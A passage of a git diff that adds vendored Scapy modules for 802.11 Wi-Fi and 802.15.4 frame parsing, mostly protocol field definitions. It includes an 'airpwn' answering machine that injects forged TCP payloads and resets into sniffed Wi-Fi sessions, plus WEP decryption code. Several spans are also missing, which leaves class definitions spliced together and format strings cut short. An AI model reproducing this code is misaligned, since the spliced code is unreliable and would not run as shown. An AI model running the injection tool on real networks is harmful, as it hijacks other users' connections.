pkt: pkt.present and pkt.present.ChannelPlus), + ConditionalField( + ByteField("ChannelPlusNumber", 0), + lambda pkt: pkt.present and pkt.present.ChannelPlus), + # MCS + ConditionalField( + _RadiotapReversePadField( + FlagsField("knownMCS", None, -8, _rt_knownmcs) + ), + lambda pkt: pkt.present and pkt.present.MCS), + ConditionalField( + BitField("Ness_LSB", 0, 1), + lambda pkt: pkt.present and pkt.present.MCS), + ConditionalField( + BitField("STBC_streams", 0, 2), + lambda pkt: pkt.present and pkt.present.MCS), + ConditionalField( + BitEnumField("FEC_type", 0, 1, {0: "BCC", 1: "LDPC"}), + lambda pkt: pkt.present and pkt.present.MCS), + ConditionalField( + BitEnumField("HT_format", 0, 1, {0: "mixed", 1: "greenfield"}), + lambda pkt: pkt.present and pkt.present.MCS), + ConditionalField( + BitEnumField("guard_interval", 0, 1, {0: "Long_GI", 1: "Short_GI"}), # noqa: E501 + lambda pkt: pkt.present and pkt.present.MCS), + ConditionalField( + BitEnumField("MCS_bandwidth", 0, 2, _rt_bandwidth), + lambda pkt: pkt.present and pkt.present.MCS), + ConditionalField( + ByteField("MCS_index", 0), + lambda pkt: pkt.present and pkt.present.MCS), + # A_MPDU + ConditionalField( + _RadiotapReversePadField( + LEIntField("A_MPDU_ref", 0) + ), + lambda pkt: pkt.present and pkt.present.A_MPDU), + ConditionalField( + FlagsField("A_MPDU_flags", None, -32, _rt_a_mpdu_flags), + lambda pkt: pkt.present and pkt.present.A_MPDU), + # VHT + ConditionalField( + _RadiotapReversePadField( + FlagsField("KnownVHT", None, -16, _rt_knownvht) + ), + lambda pkt: pkt.present and pkt.present.VHT), + ConditionalField( + FlagsField("PresentVHT", None, -8, _rt_presentvht), + lambda pkt: pkt.present and pkt.present.VHT), + ConditionalField( + ByteEnumField("VHT_bandwidth", 0, _rt_vhtbandwidth), + lambda pkt: pkt.present and pkt.present.VHT), + ConditionalField( + StrFixedLenField("mcs_nss", 0, length=5), + lambda pkt: pkt.present and pkt.present.VHT), + ConditionalField( + ByteField("GroupID", 0), + lambda pkt: pkt.present and pkt.present.VHT), + ConditionalField( + ShortField("PartialAID", 0), + lambda pkt: pkt.present and pkt.present.VHT), + # timestamp + ConditionalField( + _RadiotapReversePadField( + LELongField("timestamp", 0) + ), + lambda pkt: pkt.present and pkt.present.timestamp), + ConditionalField( + LEShortField("ts_accuracy", 0), + lambda pkt: pkt.present and pkt.present.timestamp), + ConditionalField( + ByteField("ts_position", 0), + lambda pkt: pkt.present and pkt.present.timestamp), + ConditionalField( + ByteField("ts_flags", 0), + lambda pkt: pkt.present and pkt.present.timestamp), + # HE - XXX not complete + ConditionalField( + _RadiotapReversePadField( + ShortField("he_data1", 0) + ), + lambda pkt: pkt.present and pkt.present.HE), + ConditionalField( + ShortField("he_data2", 0), + lambda pkt: pkt.present and pkt.present.HE), + ConditionalField( + ShortField("he_data3", 0), + lambda pkt: pkt.present and pkt.present.HE), + ConditionalField( + ShortField("he_data4", 0), + lambda pkt: pkt.present and pkt.present.HE), + ConditionalField( + ShortField("he_data5", 0), + lambda pkt: pkt.present and pkt.present.HE), + ConditionalField( + ShortField("he_data6", 0), + lambda pkt: pkt.present and pkt.present.HE), + # HE_MU + ConditionalField( + _RadiotapReversePadField( + LEShortField("hemu_flags1", 0) + ), + lambda pkt: pkt.present and pkt.present.HE_MU), + ConditionalField( + LEShortField("hemu_flags2", 0), + lambda pkt: pkt.present and pkt.present.HE_MU), + ConditionalField( + FieldListField("RU_channel1", [], ByteField, + count_from=lambda x: 4), + lambda pkt: pkt.present and pkt.present.HE_MU), + ConditionalField( + FieldListField("RU_channel2", [], ByteField, + count_from=lambda x: 4), + lambda pkt: pkt.present and pkt.present.HE_MU), + # HE_MU_other_user + ConditionalField( + _RadiotapReversePadField( + LEShortField("hemuou_per_user_1", 0x7fff) + ), + lambda pkt: pkt.present and pkt.present.HE_MU_other_user), + ConditionalField( + LEShortField("hemuou_per_user_2", 0x003f), + lambda pkt: pkt.present and pkt.present.HE_MU_other_user), + ConditionalField( + ByteField("hemuou_per_user_position", 0), + lambda pkt: pkt.present and pkt.present.HE_MU_other_user), + ConditionalField( + FlagsField("hemuou_per_user_known", 0, -16, + _rt_hemuother_per_user_known), + lambda pkt: pkt.present and pkt.present.HE_MU_other_user), + # L_SIG + ConditionalField( + _RadiotapReversePadField( + FlagsField("lsig_data1", 0, -16, ["rate", "length"]) + ), + lambda pkt: pkt.present and pkt.present.L_SIG), + ConditionalField( + BitField("lsig_length", 0, 12), + lambda pkt: pkt.present and pkt.present.L_SIG), + ConditionalField( + BitField("lsig_rate", 0, 4), + lambda pkt: pkt.present and pkt.present.L_SIG), + # Remaining + StrLenField('notdecoded', "", + length_from=lambda pkt: 0) + ] + + def guess_payload_class(self, payload): + if self.present and self.present.Flags and self.Flags.FCS: + return Dot11FCS + return Dot11 + + def post_dissect(self, s): + length = max(self.len - len(self.original) + len(s), 0) + self.notdecoded = s[:length] + return s[length:] + + def post_build(self, p, pay): + if self.len is None: + p = p[:2] + struct.pack("!H", len(p))[::-1] + p[4:] + return p + pay + + +class Dot11(Packet): + name = "802.11" + fields_desc = [ + BitField("subtype", 0, 4), + BitEnumField("type", 0, 2, ["Management", "Control", "Data", + "Reserved"]), + BitField("proto", 0, 2), + FlagsField("FCfield", 0, 8, ["to-DS", "from-DS", "MF", "retry", + "pw-mgt", "MD", "protected", "order"]), + ShortField("ID", 0), + MACField("addr1", ETHER_ANY), + ConditionalField( + MACField("addr2", ETHER_ANY), + lambda pkt: (pkt.type != 1 or + pkt.subtype in [0x8, 0x9, 0xa, 0xb, 0xe, 0xf]), + ), + ConditionalField( + MACField("addr3", ETHER_ANY), + lambda pkt: pkt.type in [0, 2], + ), + ConditionalField(LEShortField("SC", 0), lambda pkt: pkt.type != 1), + ConditionalField( + MACField("addr4", ETHER_ANY), + lambda pkt: (pkt.type == 2 and + pkt.FCfield & 3 == 3), # from-DS+to-DS + ) + ] + + def mysummary(self): + # Supports both Dot11 and Dot11FCS + return self.sprintf("802.11 %%%s.type%% %%%s.subtype%% %%%s.addr2%% > %%%s.addr1%%" % ((self.__class__.__name__,) * 4)) # noqa: E501 + + def guess_payload_class(self, payload): + if self.type == 0x02 and (0x08 <= self.subtype <= 0xF and self.subtype != 0xD): # noqa: E501 + return Dot11QoS + elif self.FCfield.protected: + # When a frame is handled by encryption, the Protected Frame bit + # (previously called WEP bit) is set to 1, and the Frame Body + # begins with the appropriate cryptographic header. + return Dot11Encrypted + else: + return Packet.guess_payload_class(self, payload) + + def answers(self, other): + if isinstance(other, Dot11): + if self.type == 0: # management + if self.addr1.lower() != other.addr2.lower(): # check resp DA w/ req SA # noqa: E501 + return 0 + if (other.subtype, self.subtype) in [(0, 1), (2, 3), (4, 5)]: + return 1 + if self.subtype == other.subtype == 11: # auth + return self.payload.answers(other.payload) + elif self.type == 1: # control + return 0 + elif self.type == 2: # data + return self.payload.answers(other.payload) + elif self.type == 3: # reserved + return 0 + return 0 + + def unwep(self, key=None, warn=1): + if self.FCfield & 0x40 == 0: + if warn: + warning("No WEP to remove") + return + if isinstance(self.payload.payload, NoPayload): + if key or conf.wepkey: + self.payload.decrypt(key) + if isinstance(self.payload.payload, NoPayload): + if warn: + warning("Dot11 can't be decrypted. Check conf.wepkey.") + return + self.FCfield &= ~0x40 + self.payload = self.payload.payload + + +class Dot11FCS(Dot11): + name = "802.11-FCS" + match_subclass = True + fields_desc = Dot11.fields_desc + [FCSField("fcs", None, fmt="= 3: + length = orb(s[1]) + if length > 0 and length <= 255: + self.info = s[2:2 + length] + return s + + def post_build(self, p, pay): + if self.len is None: + p = p[:1] + chb(len(p) - 2) + p[2:] + return p + pay + + +class RSNCipherSuite(Packet): + name = "Cipher suite" + fields_desc = [ + X3BytesField("oui", 0x000fac), + ByteEnumField("cipher", 0x04, { + 0x00: "Use group cipher suite", + 0x01: "WEP-40", + 0x02: "TKIP", + 0x03: "Reserved", + 0x04: "CCMP", + 0x05: "WEP-104" + }) + ] + + def extract_padding(self, s): + return "", s + + +class AKMSuite(Packet): + name = "AKM suite" + fields_desc = [ + X3BytesField("oui", 0x000fac), + ByteEnumField("suite", 0x01, { + 0x00: "Reserved", + 0x01: "IEEE 802.1X / PMKSA caching", + 0x02: "PSK" + }) + ] + + def extract_padding(self, s): + return "", s + + +class PMKIDListPacket(Packet): + name = "PMKIDs" + fields_desc = [ + LEFieldLenField("nb_pmkids", 0, count_of="pmk_id_list"), + FieldListField( + "pmkid_list", + None, + XStrFixedLenField("", "", length=16), + count_from=lambda pkt: pkt.nb_pmkids + ) + ] + + def extract_padding(self, s): + return "", s + + +class Dot11EltRSN(Dot11Elt): + name = "802.11 RSN information" + match_subclass = True + fields_desc = [ + ByteField("ID", 48), + ByteField("len", None), + LEShortField("version", 1), + PacketField("group_cipher_suite", RSNCipherSuite(), RSNCipherSuite), + LEFieldLenField( + "nb_pairwise_cipher_suites", + 1, + count_of="pairwise_cipher_suites" + ), + PacketListField( + "pairwise_cipher_suites", + [RSNCipherSuite()], + RSNCipherSuite, + count_from=lambda p: p.nb_pairwise_cipher_suites + ), + LEFieldLenField( + "nb_akm_suites", + 1, + count_of="akm_suites" + ), + PacketListField( + "akm_suites", + [AKMSuite()], + AKMSuite, + count_from=lambda p: p.nb_akm_suites + ), + BitField("mfp_capable", 0, 1), + BitField("mfp_required", 0, 1), + BitField("gtksa_replay_counter", 0, 2), + BitField("ptksa_replay_counter", 0, 2), + BitField("no_pairwise", 0, 1), + BitField("pre_auth", 0, 1), + BitField("reserved", 0, 8), + ConditionalField( + PacketField("pmkids", None, PMKIDListPacket), + lambda pkt: ( + 0 if pkt.len is None else + pkt.len - (12 + (pkt.nb_pairwise_cipher_suites * 4) + + (pkt.nb_akm_suites * 4)) >= 18) + ) + ] + + +class Dot11EltCountryConstraintTriplet(Packet): + name = "802.11 Country Constraint Triplet" + fields_desc = [ + ByteField("first_channel_number", 1), + ByteField("num_channels", 24), + ByteField("mtp", 0) + ] + + def extract_padding(self, s): + return b"", s + + +class Dot11EltCountry(Dot11Elt): + name = "802.11 Country" + match_subclass = True + fields_desc = [ + ByteField("ID", 7), + ByteField("len", None), + StrFixedLenField("country_string", b"\0\0\0", length=3), + PacketListField( + "descriptors", + [], + Dot11EltCountryConstraintTriplet, + length_from=lambda pkt: ( + pkt.len - 3 - (pkt.len % 3) + ) + ), + ConditionalField( + ByteField("pad", 0), + lambda pkt: (len(pkt.descriptors) + 1) % 2 + ) + ] + + +class Dot11EltMicrosoftWPA(Dot11Elt): + name = "802.11 Microsoft WPA" + match_subclass = True + fields_desc = [ + ByteField("ID", 221), + ByteField("len", None), + X3BytesField("oui", 0x0050f2), + XByteField("type", 0x01), + LEShortField("version", 1), + PacketField("group_cipher_suite", RSNCipherSuite(), RSNCipherSuite), + LEFieldLenField( + "nb_pairwise_cipher_suites", + 1, + count_of="pairwise_cipher_suites" + ), + PacketListField( + "pairwise_cipher_suites", + RSNCipherSuite(), + RSNCipherSuite, + count_from=lambda p: p.nb_pairwise_cipher_suites + ), + LEFieldLenField( + "nb_akm_suites", + 1, + count_of="akm_suites" + ), + PacketListField( + "akm_suites", + AKMSuite(), + AKMSuite, + count_from=lambda p: p.nb_akm_suites + ) + ] + + +class Dot11EltRates(Dot11Elt): + name = "802.11 Rates" + match_subclass = True + fields_desc = [ + ByteField("ID", 1), + ByteField("len", None), + FieldListField( + "rates", + [], + XByteField("", 0), + count_from=lambda p: p.len + ) + ] + + +class Dot11EltVendorSpecific(Dot11Elt): + name = "802.11 Vendor Specific" + match_subclass = True + fields_desc = [ + ByteField("ID", 221), + ByteField("len", None), + X3BytesField("oui", 0x000000), + StrLenField("info", "", length_from=lambda x: x.len - 3) + ] + + +class Dot11ATIM(Packet): + name = "802.11 ATIM" + + +class Dot11Disas(Packet): + name = "802.11 Disassociation" + fields_desc = [LEShortEnumField("reason", 1, reason_code)] + + +class Dot11AssoReq(Packet): + name = "802.11 Association Request" + fields_desc = [FlagsField("cap", 0, 16, capability_list), + LEShortField("listen_interval", 0x00c8)] + + +class Dot11AssoResp(Packet): + name = "802.11 Association Response" + fields_desc = [FlagsField("cap", 0, 16, capability_list), + LEShortField("status", 0), + LEShortField("AID", 0)] + + +class Dot11ReassoReq(Packet): + name = "802.11 Reassociation Request" + fields_desc = [FlagsField("cap", 0, 16, capability_list), + LEShortField("listen_interval", 0x00c8), + MACField("current_AP", ETHER_ANY)] + + +class Dot11ReassoResp(Dot11AssoResp): + name = "802.11 Reassociation Response" + + +class Dot11ProbeReq(Packet): + name = "802.11 Probe Request" + + +class Dot11ProbeResp(_Dot11NetStats): + name = "802.11 Probe Response" + + +class Dot11Auth(Packet): + name = "802.11 Authentication" + fields_desc = [LEShortEnumField("algo", 0, ["open", "sharedkey"]), + LEShortField("seqnum", 0), + LEShortEnumField("status", 0, status_code)] + + def answers(self, other): + if self.seqnum == other.seqnum + 1: + return 1 + return 0 + + +class Dot11Deauth(Packet): + name = "802.11 Deauthentication" + fields_desc = [LEShortEnumField("reason", 1, reason_code)] + + +class Dot11Encrypted(Packet): + name = "802.11 Encrypted (unknown algorithm)" + fields_desc = [StrField("data", None)] + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + # Extracted from + # https://github.com/wireshark/wireshark/blob/master/epan/dissectors/packet-ieee80211.c # noqa: E501 + KEY_EXTIV = 0x20 + EXTIV_LEN = 8 + if _pkt and len(_pkt) >= 3: + if (orb(_pkt[3]) & KEY_EXTIV) and (len(_pkt) >= EXTIV_LEN): + if orb(_pkt[1]) == ((orb(_pkt[0]) | 0x20) & 0x7f): # IS_TKIP + return Dot11TKIP + elif orb(_pkt[2]) == 0: # IS_CCMP + return Dot11CCMP + else: + # Unknown encryption algorithm + return Dot11Encrypted + else: + return Dot11WEP + return conf.raw_layer + + +class Dot11WEP(Dot11Encrypted): + name = "802.11 WEP packet" + fields_desc = [StrFixedLenField("iv", b"\0\0\0", 3), + ByteField("keyid", 0), + StrField("wepdata", None, remain=4), + IntField("icv", None)] + + def decrypt(self, key=None): + if key is None: + key = conf.wepkey + if key and conf.crypto_valid: + d = Cipher( + algorithms.ARC4(self.iv + key.encode("utf8")), + None, + default_backend(), + ).decryptor() + self.add_payload(LLC(d.update(self.wepdata) + d.finalize())) + + def post_dissect(self, s): + self.decrypt() + + def build_payload(self): + if self.wepdata is None: + return Packet.build_payload(self) + return b"" + + @crypto_validator + def encrypt(self, p, pay, key=None): + if key is None: + key = conf.wepkey + if key: + if self.icv is None: + pay += struct.pack(" LE = reversed order + BitField("res", 0, 5), # + # ext_iv - 4 bytes + ConditionalField(ByteField("TSC2", 0), lambda pkt: pkt.ext_iv), + ConditionalField(ByteField("TSC3", 0), lambda pkt: pkt.ext_iv), + ConditionalField(ByteField("TSC4", 0), lambda pkt: pkt.ext_iv), + ConditionalField(ByteField("TSC5", 0), lambda pkt: pkt.ext_iv), + # data + StrField("data", None), + ] + + +class Dot11CCMP(Dot11Encrypted): + name = "802.11 TKIP packet" + fields_desc = [ + # iv - 8 bytes + ByteField("PN0", 0), + ByteField("PN1", 0), + ByteField("res0", 0), + BitField("key_id", 0, 2), # + BitField("ext_iv", 0, 1), # => LE = reversed order + BitField("res1", 0, 5), # + ByteField("PN2", 0), + ByteField("PN3", 0), + ByteField("PN4", 0), + ByteField("PN5", 0), + # data + StrField("data", None), + ] + + +class Dot11Ack(Packet): + name = "802.11 Ack packet" + + +bind_top_down(RadioTap, Dot11FCS, present=2, Flags=16) + +bind_layers(PrismHeader, Dot11,) +bind_layers(Dot11, LLC, type=2) +bind_layers(Dot11QoS, LLC,) +bind_layers(Dot11, Dot11AssoReq, subtype=0, type=0) +bind_layers(Dot11, Dot11AssoResp, subtype=1, type=0) +bind_layers(Dot11, Dot11ReassoReq, subtype=2, type=0) +bind_layers(Dot11, Dot11ReassoResp, subtype=3, type=0) +bind_layers(Dot11, Dot11ProbeReq, subtype=4, type=0) +bind_layers(Dot11, Dot11ProbeResp, subtype=5, type=0) +bind_layers(Dot11, Dot11Beacon, subtype=8, type=0) +bind_layers(Dot11, Dot11ATIM, subtype=9, type=0) +bind_layers(Dot11, Dot11Disas, subtype=10, type=0) +bind_layers(Dot11, Dot11Auth, subtype=11, type=0) +bind_layers(Dot11, Dot11Deauth, subtype=12, type=0) +bind_layers(Dot11, Dot11Ack, subtype=13, type=1) +bind_layers(Dot11Beacon, Dot11Elt,) +bind_layers(Dot11AssoReq, Dot11Elt,) +bind_layers(Dot11AssoResp, Dot11Elt,) +bind_layers(Dot11ReassoReq, Dot11Elt,) +bind_layers(Dot11ReassoResp, Dot11Elt,) +bind_layers(Dot11ProbeReq, Dot11Elt,) +bind_layers(Dot11ProbeResp, Dot11Elt,) +bind_layers(Dot11Auth, Dot11Elt,) +bind_layers(Dot11Elt, Dot11Elt,) +bind_layers(Dot11TKIP, conf.raw_layer) +bind_layers(Dot11CCMP, conf.raw_layer) + + +conf.l2types.register(DLT_IEEE802_11, Dot11) +conf.l2types.register_num2layer(801, Dot11) +conf.l2types.register(DLT_PRISM_HEADER, PrismHeader) +conf.l2types.register_num2layer(802, PrismHeader) +conf.l2types.register(DLT_IEEE802_11_RADIO, RadioTap) +conf.l2types.register_num2layer(803, RadioTap) + + +class WiFi_am(AnsweringMachine): + """Before using this, initialize "iffrom" and "ifto" interfaces: +iwconfig iffrom mode monitor +iwpriv orig_ifto hostapd 1 +ifconfig ifto up +note: if ifto=wlan0ap then orig_ifto=wlan0 +note: ifto and iffrom must be set on the same channel +ex: +ifconfig eth1 up +iwconfig eth1 mode monitor +iwconfig eth1 channel 11 +iwpriv wlan0 hostapd 1 +ifconfig wlan0ap up +iwconfig wlan0 channel 11 +iwconfig wlan0 essid dontexist +iwconfig wlan0 mode managed +""" + function_name = "airpwn" + filter = None + + def parse_options(self, iffrom=conf.iface, ifto=conf.iface, replace="", + pattern="", ignorepattern=""): + self.iffrom = iffrom + self.ifto = ifto + self.ptrn = re.compile(pattern.encode()) + self.iptrn = re.compile(ignorepattern.encode()) + self.replace = replace + + def is_request(self, pkt): + if not isinstance(pkt, Dot11): + return 0 + if not pkt.FCfield & 1: + return 0 + if not pkt.haslayer(TCP): + return 0 + tcp = pkt.getlayer(TCP) + pay = raw(tcp.payload) + if not self.ptrn.match(pay): + return 0 + if self.iptrn.match(pay) is True: + return 0 + return True + + def make_reply(self, p): + ip = p.getlayer(IP) + tcp = p.getlayer(TCP) + pay = raw(tcp.payload) + del(p.payload.payload.payload) + p.FCfield = "from-DS" + p.addr1, p.addr2 = p.addr2, p.addr1 + p /= IP(src=ip.dst, dst=ip.src) + p /= TCP(sport=tcp.dport, dport=tcp.sport, + seq=tcp.ack, ack=tcp.seq + len(pay), + flags="PA") + q = p.copy() + p /= self.replace + q.ID += 1 + q.getlayer(TCP).flags = "RA" + q.getlayer(TCP).seq += len(self.replace) + return [p, q] + + def print_reply(self, query, *reply): + p = reply[0][0] + print(p.sprintf("Sent %IP.src%:%IP.sport% > %IP.dst%:%TCP.dport%")) + + def send_reply(self, reply): + sendp(reply, iface=self.ifto, **self.optsend) + + def sniff(self): + sniff(iface=self.iffrom, **self.optsniff) + + +conf.stats_dot11_protocols += [Dot11WEP, Dot11Beacon, ] + + +class Dot11PacketList(PacketList): + def __init__(self, res=None, name="Dot11List", stats=None): + if stats is None: + stats = conf.stats_dot11_protocols + + PacketList.__init__(self, res, name, stats) + + def toEthernet(self): + data = [x[Dot11] for x in self.res if Dot11 in x and x.type == 2] + r2 = [] + for p in data: + q = p.copy() + q.unwep() + r2.append(Ether() / q.payload.payload.payload) # Dot11/LLC/SNAP/IP + return PacketList(r2, name="Ether from %s" % self.listname) diff --git a/libs/scapy/layers/dot15d4.py b/libs/scapy/layers/dot15d4.py new file mode 100755 index 0000000..1e28f92 --- /dev/null +++ b/libs/scapy/layers/dot15d4.py @@ -0,0 +1,449 @@ +# This program is published under a GPLv2 license +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Ryan Speers 2011-2012 +# Copyright (C) Roger Meyer : 2012-03-10 Added frames +# Copyright (C) Gabriel Potter : 2018 +# Intern at INRIA Grand Nancy Est +# This program is published under a GPLv2 license + +""" +Wireless MAC according to IEEE 802.15.4. +""" + +import struct + +from scapy.compat import orb, chb +from scapy.error import warning +from scapy.config import conf + +from scapy.data import DLT_IEEE802_15_4_WITHFCS, DLT_IEEE802_15_4_NOFCS +from scapy.packet import Packet, bind_layers +from scapy.fields import BitEnumField, BitField, ByteEnumField, ByteField, \ + ConditionalField, Field, LELongField, PacketField, XByteField, \ + XLEIntField, XLEShortField, FCSField, Emph + +# Fields # + + +class dot15d4AddressField(Field): + __slots__ = ["adjust", "length_of"] + + def __init__(self, name, default, length_of=None, fmt=" %Dot15d4.fcf_srcaddrmode% ) Seq#%Dot15d4.seqnum%") # noqa: E501 + + def guess_payload_class(self, payload): + if self.fcf_frametype == 0x00: + return Dot15d4Beacon + elif self.fcf_frametype == 0x01: + return Dot15d4Data + elif self.fcf_frametype == 0x02: + return Dot15d4Ack + elif self.fcf_frametype == 0x03: + return Dot15d4Cmd + else: + return Packet.guess_payload_class(self, payload) + + def answers(self, other): + if isinstance(other, Dot15d4): + if self.fcf_frametype == 2: # ack + if self.seqnum != other.seqnum: # check for seqnum matching + return 0 + elif other.fcf_ackreq == 1: # check that an ack was indeed requested # noqa: E501 + return 1 + return 0 + + def post_build(self, p, pay): + # This just forces destaddrmode to None for Ack frames. + if self.fcf_frametype == 2 and self.fcf_destaddrmode != 0: + self.fcf_destaddrmode = 0 + return p[:1] + \ + chb((self.fcf_srcaddrmode << 6) + (self.fcf_framever << 4)) \ + + p[2:] + pay + else: + return p + pay + + +class Dot15d4FCS(Dot15d4): + ''' + This class is a drop-in replacement for the Dot15d4 class above, except + it expects a FCS/checksum in the input, and produces one in the output. + This provides the user flexibility, as many 802.15.4 interfaces will have an AUTO_CRC setting # noqa: E501 + that will validate the FCS/CRC in firmware, and add it automatically when transmitting. # noqa: E501 + ''' + name = "802.15.4 - FCS" + match_subclass = True + fields_desc = Dot15d4.fields_desc + [FCSField("fcs", None, fmt=" %Dot15d4Data.dest_panid%:%Dot15d4Data.dest_addr% )") # noqa: E501 + + +class Dot15d4Beacon(Packet): + name = "802.15.4 Beacon" + fields_desc = [ + XLEShortField("src_panid", 0x0), + dot15d4AddressField("src_addr", None, length_of="fcf_srcaddrmode"), + # Security field present if fcf_security == True + ConditionalField(PacketField("aux_sec_header", Dot15d4AuxSecurityHeader(), Dot15d4AuxSecurityHeader), # noqa: E501 + lambda pkt:pkt.underlayer.getfieldval("fcf_security") is True), # noqa: E501 + + # Superframe spec field: + BitField("sf_sforder", 15, 4), # not used by ZigBee + BitField("sf_beaconorder", 15, 4), # not used by ZigBee + BitEnumField("sf_assocpermit", 0, 1, [False, True]), + BitEnumField("sf_pancoord", 0, 1, [False, True]), + BitField("sf_reserved", 0, 1), # not used by ZigBee + BitEnumField("sf_battlifeextend", 0, 1, [False, True]), # not used by ZigBee # noqa: E501 + BitField("sf_finalcapslot", 15, 4), # not used by ZigBee + + # GTS Fields + # GTS Specification (1 byte) + BitEnumField("gts_spec_permit", 1, 1, [False, True]), # GTS spec bit 7, true=1 iff PAN cord is accepting GTS requests # noqa: E501 + BitField("gts_spec_reserved", 0, 4), # GTS spec bits 3-6 + BitField("gts_spec_desccount", 0, 3), # GTS spec bits 0-2 + # GTS Directions (0 or 1 byte) + ConditionalField(BitField("gts_dir_reserved", 0, 1), lambda pkt:pkt.getfieldval("gts_spec_desccount") != 0), # noqa: E501 + ConditionalField(BitField("gts_dir_mask", 0, 7), lambda pkt:pkt.getfieldval("gts_spec_desccount") != 0), # noqa: E501 + # GTS List (variable size) + # TODO add a Packet/FieldListField tied to 3bytes per count in gts_spec_desccount # noqa: E501 + + # Pending Address Fields: + # Pending Address Specification (1 byte) + BitField("pa_num_short", 0, 3), # number of short addresses pending + BitField("pa_reserved_1", 0, 1), + BitField("pa_num_long", 0, 3), # number of long addresses pending + BitField("pa_reserved_2", 0, 1), + # Address List (var length) + # TODO add a FieldListField of the pending short addresses, followed by the pending long addresses, with max 7 addresses # noqa: E501 + # TODO beacon payload + ] + + def mysummary(self): + return self.sprintf("802.15.4 Beacon ( %Dot15d4Beacon.src_panid%:%Dot15d4Beacon.src_addr% ) assocPermit(%Dot15d4Beacon.sf_assocpermit%) panCoord(%Dot15d4Beacon.sf_pancoord%)") # noqa: E501 + + +class Dot15d4Cmd(Packet): + name = "802.15.4 Command" + fields_desc = [ + XLEShortField("dest_panid", 0xFFFF), + # Users should correctly set the dest_addr field. By default is 0x0 for construction to work. # noqa: E501 + dot15d4AddressField("dest_addr", 0x0, length_of="fcf_destaddrmode"), + ConditionalField(XLEShortField("src_panid", 0x0), \ + lambda pkt:util_srcpanid_present(pkt)), + ConditionalField(dot15d4AddressField("src_addr", None, + length_of="fcf_srcaddrmode"), + lambda pkt:pkt.underlayer.getfieldval("fcf_srcaddrmode") != 0), # noqa: E501 + # Security field present if fcf_security == True + ConditionalField(PacketField("aux_sec_header", Dot15d4AuxSecurityHeader(), Dot15d4AuxSecurityHeader), # noqa: E501 + lambda pkt:pkt.underlayer.getfieldval("fcf_security") is True), # noqa: E501 + ByteEnumField("cmd_id", 0, { + 1: "AssocReq", # Association request + 2: "AssocResp", # Association response + 3: "DisassocNotify", # Disassociation notification + 4: "DataReq", # Data request + 5: "PANIDConflictNotify", # PAN ID conflict notification + 6: "OrphanNotify", # Orphan notification + 7: "BeaconReq", # Beacon request + 8: "CoordRealign", # coordinator realignment + 9: "GTSReq" # GTS request + # 0x0a - 0xff reserved + }), + # TODO command payload + ] + + def mysummary(self): + return self.sprintf("802.15.4 Command %Dot15d4Cmd.cmd_id% ( %Dot15dCmd.src_panid%:%Dot15d4Cmd.src_addr% -> %Dot15d4Cmd.dest_panid%:%Dot15d4Cmd.dest_addr% )") # noqa: E501 + + # command frame payloads are complete: DataReq, PANIDConflictNotify, OrphanNotify, BeaconReq don't have any payload # noqa: E501 + # Although BeaconReq can have an optional ZigBee Beacon payload (implemented in ZigBeeBeacon) # noqa: E501 + def guess_payload_class(self, payload): + if self.cmd_id == 1: + return Dot15d4CmdAssocReq + elif self.cmd_id == 2: + return Dot15d4CmdAssocResp + elif self.cmd_id == 3: + return Dot15d4CmdDisassociation + elif self.cmd_id == 8: + return Dot15d4CmdCoordRealign + elif self.cmd_id == 9: + return Dot15d4CmdGTSReq + else: + return Packet.guess_payload_class(self, payload) + + +class Dot15d4CmdCoordRealign(Packet): + name = "802.15.4 Coordinator Realign Command" + fields_desc = [ + # PAN Identifier (2 octets) + XLEShortField("panid", 0xFFFF), + # Coordinator Short Address (2 octets) + XLEShortField("coord_address", 0x0000), + # Logical Channel (1 octet): the logical channel that the coordinator intends to use for all future communications # noqa: E501 + ByteField("channel", 0), + # Short Address (2 octets) + XLEShortField("dev_address", 0xFFFF), + # Channel page (0/1 octet) TODO optional + # ByteField("channel_page", 0), + ] + + def mysummary(self): + return self.sprintf("802.15.4 Coordinator Realign Payload ( PAN ID: %Dot15dCmdCoordRealign.pan_id% : channel %Dot15d4CmdCoordRealign.channel% )") # noqa: E501 + + +# Utility Functions # + + +def util_srcpanid_present(pkt): + '''A source PAN ID is included if and only if both src addr mode != 0 and PAN ID Compression in FCF == 0''' # noqa: E501 + if (pkt.underlayer.getfieldval("fcf_srcaddrmode") != 0) and (pkt.underlayer.getfieldval("fcf_panidcompress") == 0): # noqa: E501 + return True + else: + return False + + +class Dot15d4CmdAssocReq(Packet): + name = "802.15.4 Association Request Payload" + fields_desc = [ + BitField("allocate_address", 0, 1), # Allocate Address + BitField("security_capability", 0, 1), # Security Capability + BitField("reserved2", 0, 1), # bit 5 is reserved + BitField("reserved1", 0, 1), # bit 4 is reserved + BitField("receiver_on_when_idle", 0, 1), # Receiver On When Idle + BitField("power_source", 0, 1), # Power Source + BitField("device_type", 0, 1), # Device Type + BitField("alternate_pan_coordinator", 0, 1), # Alternate PAN Coordinator # noqa: E501 + ] + + def mysummary(self): + return self.sprintf("802.15.4 Association Request Payload ( Alt PAN Coord: %Dot15d4CmdAssocReq.alternate_pan_coordinator% Device Type: %Dot15d4CmdAssocReq.device_type% )") # noqa: E501 + + +class Dot15d4CmdAssocResp(Packet): + name = "802.15.4 Association Response Payload" + fields_desc = [ + XLEShortField("short_address", 0xFFFF), # Address assigned to device from coordinator (0xFFFF == none) # noqa: E501 + # Association Status + # 0x00 == successful + # 0x01 == PAN at capacity + # 0x02 == PAN access denied + # 0x03 - 0x7f == Reserved + # 0x80 - 0xff == Reserved for MAC primitive enumeration values + ByteEnumField("association_status", 0x00, {0: 'successful', 1: 'PAN_at_capacity', 2: 'PAN_access_denied'}), # noqa: E501 + ] + + def mysummary(self): + return self.sprintf("802.15.4 Association Response Payload ( Association Status: %Dot15d4CmdAssocResp.association_status% Assigned Address: %Dot15d4CmdAssocResp.short_address% )") # noqa: E501 + + +class Dot15d4CmdDisassociation(Packet): + name = "802.15.4 Disassociation Notification Payload" + fields_desc = [ + # Disassociation Reason + # 0x00 == Reserved + # 0x01 == The coordinator wishes the device to leave the PAN + # 0x02 == The device wishes to leave the PAN + # 0x03 - 0x7f == Reserved + # 0x80 - 0xff == Reserved for MAC primitive enumeration values + ByteEnumField("disassociation_reason", 0x02, {1: 'coord_wishes_device_to_leave', 2: 'device_wishes_to_leave'}), # noqa: E501 + ] + + def mysummary(self): + return self.sprintf("802.15.4 Disassociation Notification Payload ( Disassociation Reason %Dot15d4CmdDisassociation.disassociation_reason% )") # noqa: E501 + + +class Dot15d4CmdGTSReq(Packet): + name = "802.15.4 GTS request command" 